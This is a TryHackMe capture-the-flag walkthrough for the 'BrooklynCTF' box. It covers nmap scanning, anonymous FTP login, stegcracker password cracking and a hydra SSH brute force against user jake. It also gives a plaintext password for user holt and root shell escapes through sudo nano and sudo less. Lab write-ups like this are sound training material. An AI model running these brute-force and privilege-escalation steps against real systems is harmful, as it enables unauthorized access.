# TryHackMe-BrooklynCTF Abdullah Rizwan, 25 August , 09:15 PM BrooklynCTF is a beginner level anyone can try to hack this box. There are two main intended ways to root the box. ## NMAP ``` nmap -sC -sV 10.10.182.198 ``` ``` Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-25 21:16 EDT Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 99.99% done; ETC: 21:16 (0:00:00 remaining) Nmap scan report for 10.10.182.198 Host is up (0.16s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 119 May 17 23:17 note_to_jake.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.8.94.60 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA) | 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA) |_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.96 seconds ``` There are 3 ports open on this box.Lets first visit the webpage. ## PORT 80

When we look at the source of this page it says something about steganography so that image has something hidden with it. ## PORT 21

Since ftp is open we can connect to using the username "anonymous" with no password to be provided and we can download a file named "note_to_jake".

So we know that there is a user named "jake". ## Steganography We saw a hidden message towards steganography so now lets try to extract data from image.

If we try to extract data from image it's going to ask for a password so we have to crack it using "stegcracker" which can be installed from here https://github.com/Paradoxis/StegCracker.

## PORT 22 As we have found that there are two users "jake" and "holt" in order to find out jake's password we can bruteforce ssh using hydra ``` hydra -l jake -P /usr/share/wordlists/rockyou.txt -t 16 10.10.182.198 ssh ```

For simplicity lets make a variable for the box's IP ``` export IP=10.10.182.198 ```

We can now use "less" command in order to view files. ## Privilege Escalation (Holt) In order to completely own the box through Holt we have sudo rights for "nano". The password that we got from extracting information from the image can be utilized here Login as "holt" from ssh using password "fluffydog12@ninenine".

``` holt@brookly_nine_nine:~$ sudo -l Matching Defaults entries for holt on brookly_nine_nine: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User holt may run the following commands on brookly_nine_nine: (ALL) NOPASSWD: /bin/nano holt@brookly_nine_nine:~$ ``` Visit GTFOBIN for escalating privileges ``` sudo nano ``` ``` ^R^X ``` ``` reset; sh 1>&0 2>&0 ```

As soon as you'll hit enter you will be "root".

## Privilege Escalation (Jake) Login as jake through ssh after you got his credentials through bruteforce or you can switch between usesr. ``` su - jake password: ```

``` sudo less /etc/profile ``` ``` !/bin/sh ```